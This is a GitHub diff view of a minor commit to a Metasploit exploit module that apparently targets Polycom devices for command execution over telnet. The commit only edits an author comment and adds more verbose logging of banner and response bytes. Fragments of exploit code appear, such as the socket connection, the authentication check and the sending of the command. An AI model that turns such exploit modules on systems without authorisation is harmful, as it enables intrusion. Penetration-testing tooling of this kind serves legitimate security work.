File tree Expand file tree Collapse file tree 1 file changed +6
-3
lines changed
modules/exploits/unix/misc Expand file tree Collapse file tree 1 file changed +6
-3
lines changed Original file line number Diff line number Diff line change @@ -17,7 +17,7 @@ def initialize(info = {})
17
17
attacker to execute arbitrary payloads with telnet or openssl.
18
18
} ,
19
19
'Author' => [
20
- 'Mumbai' , # https://github.com/realoriginal (module)
20
+ 'Mumbai' , #
21
21
'staaldraad' , # https://twitter.com/_staaldraad/
22
22
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>' , # took some of the code from polycom_hdx_auth_bypass
23
23
'h00die <[email protected] >' # stole the code, creds to them
@@ -73,7 +73,8 @@ def exploit
73
73
sock = connect
74
74
Rex . sleep ( 2 )
75
75
banner = sock . get_once
76
- vprint_status ( "Received : #{ banner } " )
76
+ vprint_status ( "Recieved #{ banner . length } bytes from service" )
77
+ vprint_line ( "#{ banner } " )
77
78
if banner =~ /password/
78
79
print_status ( "Authentication enabled on device, authenticating with target..." )
79
80
if datastore [ 'PASSWORD' ] . nil?
@@ -109,7 +110,9 @@ def do_payload(sock)
109
110
sock . put ( cmd )
110
111
if datastore [ 'VERBOSE' ]
111
112
Rex . sleep ( 2 )
112
- vprint_status ( sock . get_once )
113
+ resp = sock . get_once
114
+ vprint_status ( "Recieved #{ resp . length } bytes in response" )
115
+ vprint_line ( resp )
113
116
end
114
117
115
118
# Give time for our command to be queued and executed
You can’t perform that action at this time.
0 commit comments